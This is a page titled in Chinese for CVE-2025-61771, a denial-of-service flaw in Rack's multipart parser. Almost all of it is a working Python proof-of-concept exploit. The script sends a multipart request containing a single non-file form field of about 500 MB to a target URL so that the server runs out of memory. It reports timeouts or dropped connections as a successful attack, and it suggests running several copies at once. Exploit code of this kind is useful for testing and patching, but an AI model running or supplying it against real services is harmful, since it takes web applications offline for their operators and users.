CVE-2025-61771 Rack Multipart解析器拒绝服务漏洞

# CVE-2025-61771 PoC - Rack Multipart Parser DoS # This PoC demonstrates how to trigger memory exhaustion via large non-file form fields import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-app.com/upload" # Size in bytes (default: 500MB to trigger OOM) PAYLOAD_SIZE = int(sys.argv[2]) if len(sys.argv) > 2 else 500 * 1024 * 1024 def generate_multipart_payload(field_name, field_value_size): """Generate a multipart/form-data request body with a large non-file field""" boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" body = f"--{boundary}\r\n" # Note: NO filename attribute - this is a non-file field stored entirely in memory body += f'Content-Disposition: form-data; name="{field_name}"\r\n\r\n' # Large text content that will be loaded entirely into memory body += "A" * field_value_size body += f"\r\n--{boundary}--\r\n" return body.encode(), boundary def exploit(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Payload size: {PAYLOAD_SIZE / (1024*1024):.0f} MB") body, boundary = generate_multipart_payload("large_field", PAYLOAD_SIZE) headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)) } print(f"[*] Sending malicious multipart request...") try: response = requests.post(TARGET_URL, data=body, headers=headers, timeout=30) print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target appears to be unresponsive - possible DoS success!") except requests.exceptions.ConnectionError: print("[+] Connection error - target may have crashed (OOM killed)!") if __name__ == "__main__": exploit() # Usage: python poc.py http://vulnerable-rack-app.com 524288000 # For concurrent attack, run multiple instances simultaneously